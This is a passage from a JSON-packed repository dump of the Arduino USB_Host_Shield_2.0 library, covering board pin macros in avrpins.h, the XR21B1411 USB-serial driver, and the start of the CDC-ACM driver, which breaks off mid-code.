\"Please define board in avrpins.h\"\n\n#endif\n\n#elif defined(__ARDUINO_ARC__)\n\n#include <avr/pgmspace.h>\n// Pointers are 32 bits on arc\n#define pgm_read_pointer(p) pgm_read_dword(p)\n\n#define MAKE_PIN(className, pin) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    digitalWrite(pin, HIGH);\\\n  } \\\n  static void Clear() { \\\n    digitalWrite(pin, LOW); \\\n  } \\\n  static void SetDirRead() { \\\n    pinMode(pin, INPUT); \\\n  } \\\n  static void SetDirWrite() { \\\n    pinMode(pin, OUTPUT); \\\n  } \\\n  static uint8_t IsSet() { \\\n    return digitalRead(pin); \\\n  } \\\n};\n\nMAKE_PIN(P0, 0);\nMAKE_PIN(P1, 1);\nMAKE_PIN(P2, 2);\nMAKE_PIN(P3, 3); //PWM\nMAKE_PIN(P4, 4);\nMAKE_PIN(P5, 5); //PWM\nMAKE_PIN(P6, 6); //PWM\nMAKE_PIN(P7, 7);\nMAKE_PIN(P8, 8);\nMAKE_PIN(P9, 9); //PWM\n\nMAKE_PIN(P10, 10); //SPI SS\nMAKE_PIN(P11, 11); //SPI MOSI\nMAKE_PIN(P12, 12); //SPI MISO\nMAKE_PIN(P13, 13); //SPI SCK / BUILTIN LED\n\nMAKE_PIN(P14, 14); // A0\nMAKE_PIN(P15, 15); // A1\nMAKE_PIN(P16, 16); // A2\nMAKE_PIN(P17, 17); // A3\nMAKE_PIN(P18, 18); // A4 SDA\nMAKE_PIN(P19, 19); // A5 SCL\nMAKE_PIN(P20, 20); // ATN\n\n#undef MAKE_PIN\n\n#elif defined(__ARDUINO_X86__) // Intel Galileo, Intel Galileo 2 and Intel Edison\n\n#include <avr/pgmspace.h>\n\n// Pointers are 32 bits on x86\n#define pgm_read_pointer(p) pgm_read_dword(p)\n\n#if PLATFORM_ID == 0xE1 // Edison platform id\n#define pinToFastPin(pin) 1 // As far as I can tell all pins can be used as fast pins\n#endif\n\n// Pin 2 and 3 on the Intel Galileo supports a higher rate,\n// so it is recommended to use one of these as the SS pin.\n\n#define MAKE_PIN(className, pin) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    fastDigitalWrite(pin, HIGH); \\\n  } \\\n  static void Clear() { \\\n    fastDigitalWrite(pin, LOW); \\\n  } \\\n  static void SetDirRead() { \\\n    if (pinToFastPin(pin)) \\\n      pinMode(pin, INPUT_FAST); \\\n    else \\\n      pinMode(pin, INPUT); \\\n  } \\\n  static void SetDirWrite() { \\\n    if (pinToFastPin(pin)) \\\n      pinMode(pin, OUTPUT_FAST); \\\n    else \\\n      pinMode(pin, OUTPUT); \\\n  } \\\n  static uint8_t IsSet() { \\\n    return fastDigitalRead(pin); \\\n  } \\\n};\n\nMAKE_PIN(P0, 0);\nMAKE_PIN(P1, 1);\nMAKE_PIN(P2, 2);\nMAKE_PIN(P3, 3);\nMAKE_PIN(P4, 4);\nMAKE_PIN(P5, 5);\nMAKE_PIN(P6, 6);\nMAKE_PIN(P7, 7);\nMAKE_PIN(P8, 8);\nMAKE_PIN(P9, 9);\nMAKE_PIN(P10, 10);\nMAKE_PIN(P11, 11);\nMAKE_PIN(P12, 12);\nMAKE_PIN(P13, 13);\nMAKE_PIN(P14, 14); // A0\nMAKE_PIN(P15, 15); // A1\nMAKE_PIN(P16, 16); // A2\nMAKE_PIN(P17, 17); // A3\nMAKE_PIN(P18, 18); // A4\nMAKE_PIN(P19, 19); // A5\n\n#undef MAKE_PIN\n\n#elif defined(__MIPSEL__)\n// MIPSEL (MIPS architecture using a little endian byte order)\n\n// MIPS size_t = 4\n#define pgm_read_pointer(p) pgm_read_dword(p)\n\n#define MAKE_PIN(className, pin) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    digitalWrite(pin, HIGH);\\\n  } \\\n  static void Clear() { \\\n    digitalWrite(pin, LOW); \\\n  } \\\n  static void SetDirRead() { \\\n    pinMode(pin, INPUT); \\\n  } \\\n  static void SetDirWrite() { \\\n    pinMode(pin, OUTPUT); \\\n  } \\\n  static uint8_t IsSet() { \\\n    return digitalRead(pin); \\\n  } \\\n};\n\n// 0 .. 13 - Digital pins\nMAKE_PIN(P0, 0); // RX\nMAKE_PIN(P1, 1); // TX\nMAKE_PIN(P2, 2); //\nMAKE_PIN(P3, 3); //\nMAKE_PIN(P4, 4); //\nMAKE_PIN(P5, 5); //\nMAKE_PIN(P6, 6); //\nMAKE_PIN(P7, 7); //\nMAKE_PIN(P8, 8); //\nMAKE_PIN(P9, 9); //\nMAKE_PIN(P10, 10); //\nMAKE_PIN(P11, 11); //\nMAKE_PIN(P12, 12); //\nMAKE_PIN(P13, 13); //\n\n#undef MAKE_PIN\n\n#elif defined(ESP8266) || defined(ESP32)\n\n#define MAKE_PIN(className, pin) \\\nclass className { \\\npublic: \\\n  static void Set() { \\\n    digitalWrite(pin, HIGH);\\\n  } \\\n  static void Clear() { \\\n    digitalWrite(pin, LOW); \\\n  } \\\n  static void SetDirRead() { \\\n    pinMode(pin, INPUT); \\\n  } \\\n  static void SetDirWrite() { \\\n    pinMode(pin, OUTPUT); \\\n  } \\\n  static uint8_t IsSet() { \\\n    return digitalRead(pin); \\\n  } \\\n};\n\n#if defined(ESP8266)\n\n// Pinout for ESP-12 module\n// 0 .. 16 - Digital pins\n// GPIO 6 to 11 and 16 are not usable in this library.\n\nMAKE_PIN(P0, 0);\nMAKE_PIN(P1, 1); // TX0\nMAKE_PIN(P2, 2); // TX1\nMAKE_PIN(P3, 3); // RX0\nMAKE_PIN(P4, 4); // SDA\nMAKE_PIN(P5, 5); // SCL\nMAKE_PIN(P12, 12); // MISO\nMAKE_PIN(P13, 13); // MOSI\nMAKE_PIN(P14, 14); // SCK\nMAKE_PIN(P15, 15); // SS\n\n#elif defined(ESP32)\n\n// Workaround strict-aliasing warnings\n#ifdef pgm_read_word\n#undef pgm_read_word\n#endif\n#ifdef pgm_read_dword\n#undef pgm_read_dword\n#endif\n#ifdef  pgm_read_float\n#undef pgm_read_float\n#endif\n#ifdef  pgm_read_ptr\n#undef pgm_read_ptr\n#endif\n\n#define pgm_read_word(addr) ({ \\\n  typeof(addr) _addr = (addr); \\\n  *(const unsigned short *)(_addr); \\\n})\n#define pgm_read_dword(addr) ({ \\\n  typeof(addr) _addr = (addr); \\\n  *(const unsigned long *)(_addr); \\\n})\n#define pgm_read_float(addr) ({ \\\n  typeof(addr) _addr = (addr); \\\n  *(const float *)(_addr); \\\n})\n#define pgm_read_ptr(addr) ({ \\\n  typeof(addr) _addr = (addr); \\\n  *(void * const *)(_addr); \\\n})\n\n// Pinout for ESP32 dev module\n\nMAKE_PIN(P0, 0);\nMAKE_PIN(P1, 1); // TX0\nMAKE_PIN(P10, 10); // TX1\nMAKE_PIN(P3, 3); // RX0\nMAKE_PIN(P21, 21); // SDA\nMAKE_PIN(P22, 22); // SCL\nMAKE_PIN(P19, 19); // MISO\nMAKE_PIN(P23, 23); // MOSI\nMAKE_PIN(P18, 18); // SCK\nMAKE_PIN(P5, 5); // SS\nMAKE_PIN(P17, 17); // INT\n\n#endif\n\n#undef MAKE_PIN\n\n// pgm_read_ptr is not defined in the ESP32, so we have to undef the diffinition from version_helper.h\n#ifdef pgm_read_pointer\n#undef pgm_read_pointer\n#endif\n#define pgm_read_pointer(p) pgm_read_ptr(p)\n\n#else\n#error \"Please define board in avrpins.h\"\n\n#endif\n\n#endif //_avrpins_h_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdc_XR21B1411.cpp",
    "content": "/* Copyright (C) 2015 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"cdc_XR21B1411.h\"\n\nXR21B1411::XR21B1411(USB *p, CDCAsyncOper *pasync) :\nACM(p, pasync) {\n        // Is this needed??\n        _enhanced_status = enhanced_features(); // Set up features\n}\n\nuint8_t XR21B1411::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t num_of_conf; // number of configurations\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"XR Init\\r\\n\");\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        if((((udd->idVendor != 0x2890U) || (udd->idProduct != 0x0201U)) && ((udd->idVendor != 0x04e2U) || (udd->idProduct != 0x1411U))))\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                ConfigDescParser< USB_CLASS_COM_AND_CDC_CTRL,\n                        CDC_SUBCLASS_ACM,\n                        CDC_PROTOCOL_ITU_T_V_250,\n                        CP_MASK_COMPARE_CLASS |\n                        CP_MASK_COMPARE_SUBCLASS |\n                        CP_MASK_COMPARE_PROTOCOL > CdcControlParser(this);\n\n                ConfigDescParser<USB_CLASS_CDC_DATA, 0, 0,\n                        CP_MASK_COMPARE_CLASS> CdcDataParser(this);\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcControlParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcDataParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 4)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Conf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        // Set up features status\n        _enhanced_status = enhanced_features();\n        half_duplex(false);\n        autoflowRTS(false);\n        autoflowDSR(false);\n        autoflowXON(false);\n        wide(false); // Always false, because this is only available in custom mode.\n\n        rcode = pAsync->OnInit(this);\n\n        if(rcode)\n                goto FailOnInit;\n\n        USBTRACE(\"XR configured\\r\\n\");\n\n        ready = true;\n\n        //bPollEnable = true;\n\n        //USBTRACE(\"Poll enabled\\r\\n\");\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailOnInit:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"OnInit:\");\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdc_XR21B1411.h",
    "content": "/* Copyright (C) 2015 Andrew J. Kroll\n   and\n   Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__CDC_XR21B1411_H__)\n#define __CDC_XR21B1411_H__\n\n#include \"cdcacm.h\"\n\n#define XR_REG_CUSTOM_DRIVER                    (0x020DU) // DRIVER SELECT\n#define XR_REG_CUSTOM_DRIVER_ACTIVE             (0x0001U) // 0: CDC 1: CUSTOM\n\n#define XR_REG_ACM_FLOW_CTL                     (0x0216U) // FLOW CONTROL REGISTER CDCACM MODE\n#define XR_REG_FLOW_CTL                         (0x0C06U) // FLOW CONTROL REGISTER CUSTOM MODE\n#define XR_REG_FLOW_CTL_HALF_DPLX               (0x0008U) // 0:FULL DUPLEX 1:HALF DUPLEX\n#define XR_REG_FLOW_CTL_MODE_MASK               (0x0007U) // MODE BITMASK\n#define XR_REG_FLOW_CTL_NONE                    (0x0000U) // NO FLOW CONTROL\n#define XR_REG_FLOW_CTL_HW                      (0x0001U) // HARDWARE FLOW CONTROL\n#define XR_REG_FLOW_CTL_SW                      (0x0002U) // SOFTWARE FLOW CONTROL\n#define XR_REG_FLOW_CTL_MMMRX                   (0x0003U) // MULTIDROP RX UPON ADDRESS MATCH\n#define XR_REG_FLOW_CTL_MMMRXTX                 (0x0004U) // MULTIDROP RX/TX UPON ADDRESS MATCH\n\n#define XR_REG_ACM_GPIO_MODE                    (0x0217U) // GPIO MODE REGISTER IN CDCACM MODE\n#define XR_REG_GPIO_MODE                        (0x0C0CU) // GPIO MODE REGISTER IN CUSTOM MODE\n#define XR_REG_GPIO_MODE_GPIO                   (0x0000U) // ALL GPIO PINS ACM PROGRAMMABLE\n#define XR_REG_GPIO_MODE_FC_RTSCTS              (0x0001U) // AUTO RTSCTS HW FC (GPIO 4/5)\n#define XR_REG_GPIO_MODE_FC_DTRDSR              (0x0002U) // AUTO DTRDSR HW FC (GPIO 2/3)\n#define XR_REG_GPIO_MODE_ATE                    (0x0003U) // AUTO TRANSCEIVER ENABLE DURING TX (GPIO 5)\n#define XR_REG_GPIO_MODE_ATE_ADDRESS            (0x0004U) // AUTO TRANSCEIVER ENABLE ON ADDRESS MATCH (GPIO 5)\n\n#define XR_REG_ACM_GPIO_DIR                     (0x0218U) // GPIO DIRECTION REGISTER CDCACM MODE, 0:IN 1:OUT\n#define XR_REG_GPIO_DIR                         (0x0C0DU) // GPIO DIRECTION REGISTER CUSTOM MODE, 0:IN 1:OUT\n\n#define XR_REG_ACM_GPIO_INT                     (0x0219U) // GPIO PIN CHANGE INTERRUPT ENABLE CDCACM MODE, 0: ENABLED 1: DISABLED\n#define XR_REG_GPIO_INT                         (0x0C11U) // GPIO PIN CHANGE INTERRUPT ENABLE CUSTOM MODE, 0: ENABLED 1: DISABLED\n#define XR_REG_GPIO_MASK                        (0x001FU) // GPIO REGISTERS BITMASK\n\n#define XR_REG_UART_ENABLE                      (0x0C00U) // UART I/O ENABLE REGISTER\n#define XR_REG_UART_ENABLE_RX                   (0x0002U) // 0:DISABLED 1:ENABLED\n#define XR_REG_UART_ENABLE_TX                   (0x0001U) // 0:DISABLED 1:ENABLED\n\n#define XR_REG_ERROR_STATUS                     (0x0C09U) // ERROR STATUS REGISTER\n#define XR_REG_ERROR_STATUS_MASK                (0x00F8U) // ERROR STATUS BITMASK\n#define XR_REG_ERROR_STATUS_ERROR               (0x0070U) // ERROR STATUS ERROR BITMASK\n#define XR_REG_ERROR_STATUS_BREAK               (0x0008U) // BREAK HAS BEEN DETECTED\n#define XR_REG_ERROR_STATUS_OVERRUN             (0x0010U) // RX OVERRUN ERROR\n#define XR_REG_ERROR_STATUS_PARITY              (0x0020U) // PARITY ERROR\n#define XR_REG_ERROR_STATUS_FRAME               (0x0040U) // FRAMING ERROR\n#define XR_REG_ERROR_STATUS_BREAKING            (0x0080U) // BREAK IS BEING DETECTED\n\n#define XR_REG_TX_BREAK                         (0x0C0AU) // TRANSMIT BREAK. 0X0001-0XFFE TIME IN MS, 0X0000 STOP, 0X0FFF BREAK ON\n\n#define XR_REG_XCVR_EN_DELAY                    (0x0C0BU) // TURN-ARROUND DELAY IN BIT-TIMES 0X0000-0X000F\n\n#define XR_REG_GPIO_SET                         (0x0C0EU) // 1:SET GPIO PIN\n\n#define XR_REG_GPIO_CLR                         (0x0C0FU) // 1:CLEAR GPIO PIN\n\n#define XR_REG_GPIO_STATUS                      (0x0C10U) // READ GPIO PINS\n\n#define XR_REG_CUSTOMISED_INT                   (0x0C12U) // 0:STANDARD 1:CUSTOM SEE DATA SHEET\n\n#define XR_REG_PIN_PULLUP_ENABLE                (0x0C14U) // 0:DISABLE 1:ENABLE, BITS 0-5:GPIO, 6:RX 7:TX\n\n#define XR_REG_PIN_PULLDOWN_ENABLE              (0x0C15U) // 0:DISABLE 1:ENABLE, BITS 0-5:GPIO, 6:RX 7:TX\n\n#define XR_REG_LOOPBACK                         (0x0C16U) // 0:DISABLE 1:ENABLE, SEE DATA SHEET\n\n#define XR_REG_RX_FIFO_LATENCY                  (0x0CC2U) // FIFO LATENCY REGISTER\n#define XR_REG_RX_FIFO_LATENCY_ENABLE           (0x0001U) //\n\n#define XR_REG_WIDE_MODE                        (0x0D02U)\n#define XR_REG_WIDE_MODE_ENABLE                 (0x0001U)\n\n#define XR_REG_XON_CHAR                         (0x0C07U)\n#define XR_REG_XOFF_CHAR                        (0x0C08U)\n\n#define XR_REG_TX_FIFO_RESET                    (0x0C80U) // 1: RESET, SELF-CLEARING\n#define XR_REG_TX_FIFO_COUNT                    (0x0C81U) // READ-ONLY\n#define XR_REG_RX_FIFO_RESET                    (0x0CC0U) // 1: RESET, SELF-CLEARING\n#define XR_REG_RX_FIFO_COUNT                    (0x0CC1U) // READ-ONLY\n\n#define XR_WRITE_REQUEST_TYPE                   (0x40U)\n\n#define XR_READ_REQUEST_TYPE                    (0xC0U)\n\n#define XR_MAX_ENDPOINTS                        4\n\nclass XR21B1411 : public ACM {\nprotected:\n\npublic:\n        XR21B1411(USB *pusb, CDCAsyncOper *pasync);\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return (((vid == 0x2890U) && (pid == 0x0201U)) || ((vid == 0x04e2U) && (pid == 0x1411U)));\n        };\n\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n\n        virtual tty_features enhanced_features(void) {\n                tty_features rv;\n                rv.enhanced = true;\n                rv.autoflow_RTS = true;\n                rv.autoflow_DSR = true;\n                rv.autoflow_XON = true;\n                rv.half_duplex = true;\n                rv.wide = true;\n                return rv;\n        };\n\n        uint8_t read_register(uint16_t reg, uint16_t *val) {\n                return (pUsb->ctrlReq(bAddress, 0, XR_READ_REQUEST_TYPE, 1, 0, 0, reg, 2, 2, (uint8_t *)val, NULL));\n        }\n\n        uint8_t write_register(uint16_t reg, uint16_t val) {\n                return (pUsb->ctrlReq(bAddress, 0, XR_WRITE_REQUEST_TYPE, 0, BGRAB0(val), BGRAB1(val), reg, 0, 0, NULL, NULL));\n        }\n\n\n        ////////////////////////////////////////////////////////////////////////\n        // The following methods set the CDC-ACM defaults.\n        ////////////////////////////////////////////////////////////////////////\n\n        virtual void autoflowRTS(bool s) {\n                uint16_t val;\n                uint8_t rval;\n                rval = read_register(XR_REG_ACM_FLOW_CTL, &val);\n                if(!rval) {\n                        if(s) {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                                val |= XR_REG_FLOW_CTL_HW;\n                        } else {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                        }\n                        rval = write_register(XR_REG_ACM_FLOW_CTL, val);\n                        if(!rval) {\n                                rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO);\n                                if(!rval) {\n                                        // ACM commands apply the new settings.\n                                        LINE_CODING LCT;\n                                        rval = GetLineCoding(&LCT);\n                                        if(!rval) {\n                                                rval = SetLineCoding(&LCT);\n                                                if(!rval) {\n                                                        _enhanced_status.autoflow_XON = false;\n                                                        _enhanced_status.autoflow_DSR = false;\n                                                        _enhanced_status.autoflow_RTS = s;\n                                                }\n                                        }\n                                }\n                        }\n                }\n        };\n\n        virtual void autoflowDSR(bool s) {\n                uint16_t val;\n                uint8_t rval;\n                rval = read_register(XR_REG_ACM_FLOW_CTL, &val);\n                if(!rval) {\n                        if(s) {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                                val |= XR_REG_FLOW_CTL_HW;\n                        } else {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                        }\n                        rval = write_register(XR_REG_ACM_FLOW_CTL, val);\n                        if(!rval) {\n                                if(s) {\n                                        rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_FC_DTRDSR);\n                                } else {\n                                        rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO);\n                                }\n                                if(!rval) {\n                                        // ACM commands apply the new settings.\n                                        LINE_CODING LCT;\n                                        rval = GetLineCoding(&LCT);\n                                        if(!rval) {\n                                                rval = SetLineCoding(&LCT);\n                                                if(!rval) {\n                                                        _enhanced_status.autoflow_XON = false;\n                                                        _enhanced_status.autoflow_RTS = false;\n                                                        _enhanced_status.autoflow_DSR = s;\n                                                }\n                                        }\n                                }\n                        }\n                }\n        };\n\n        virtual void autoflowXON(bool s) {\n                // NOTE: hardware defaults to the normal XON/XOFF\n                uint16_t val;\n                uint8_t rval;\n                rval = read_register(XR_REG_ACM_FLOW_CTL, &val);\n                if(!rval) {\n                        if(s) {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                                val |= XR_REG_FLOW_CTL_SW;\n                        } else {\n                                val &= XR_REG_FLOW_CTL_HALF_DPLX;\n                        }\n                        rval = write_register(XR_REG_ACM_FLOW_CTL, val);\n                        if(!rval) {\n                                rval = write_register(XR_REG_ACM_GPIO_MODE, XR_REG_GPIO_MODE_GPIO);\n                                if(!rval) {\n                                        // ACM commands apply the new settings.\n                                        LINE_CODING LCT;\n                                        rval = GetLineCoding(&LCT);\n                                        if(!rval) {\n                                                rval = SetLineCoding(&LCT);\n                                                if(!rval) {\n                                                        _enhanced_status.autoflow_RTS = false;\n                                                        _enhanced_status.autoflow_DSR = false;\n                                                        _enhanced_status.autoflow_XON = s;\n                                                }\n                                        }\n                                }\n                        }\n                }\n        };\n\n        virtual void half_duplex(bool s) {\n                uint16_t val;\n                uint8_t rval;\n                rval = read_register(XR_REG_ACM_FLOW_CTL, &val);\n                if(!rval) {\n                        if(s) {\n                                val |= XR_REG_FLOW_CTL_HALF_DPLX;\n                        } else {\n                                val &= XR_REG_FLOW_CTL_MODE_MASK;\n                        }\n                        rval = write_register(XR_REG_ACM_FLOW_CTL, val);\n                        if(!rval) {\n                                // ACM commands apply the new settings.\n                                LINE_CODING LCT;\n                                rval = GetLineCoding(&LCT);\n                                if(!rval) {\n                                        rval = SetLineCoding(&LCT);\n                                        if(!rval) {\n                                                _enhanced_status.half_duplex = s;\n                                        }\n                                }\n                        }\n                }\n        };\n\n\n\n};\n\n#endif // __CDCPROLIFIC_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcacm.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"cdcacm.h\"\n\nconst uint8_t ACM::epDataInIndex = 1;\nconst uint8_t ACM::epDataOutIndex = 2;\nconst uint8_t ACM::epInterruptInIndex = 3;\n\nACM::ACM(USB *p, CDCAsyncOper *pasync) :\npUsb(p),\npAsync(pasync),\nbAddress(0),\nbControlIface(0),\nbDataIface(0),\nbNumEP(1),\nqNextPollTime(0),\nbPollEnable(false),\nready(false) {\n        _enhanced_status = enhanced_features(); // Set up features\n        for(uint8_t i = 0; i < ACM_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i == epDataInIndex) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n\n        }\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\nuint8_t ACM::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t num_of_conf; // number of configurations\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"ACM Init\\r\\n\");\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                ConfigDescParser< USB_CLASS_COM_AND_CDC_CTRL,\n                        CDC_SUBCLASS_ACM,\n                        CDC_PROTOCOL_ITU_T_V_250,\n                        CP_MASK_COMPARE_CLASS |\n                        CP_MASK_COMPARE_SUBCLASS |\n                        CP_MASK_COMPARE_PROTOCOL > CdcControlParser(this);\n\n                ConfigDescParser<USB_CLASS_CDC_DATA, 0, 0,\n                        CP_MASK_COMPARE_CLASS> 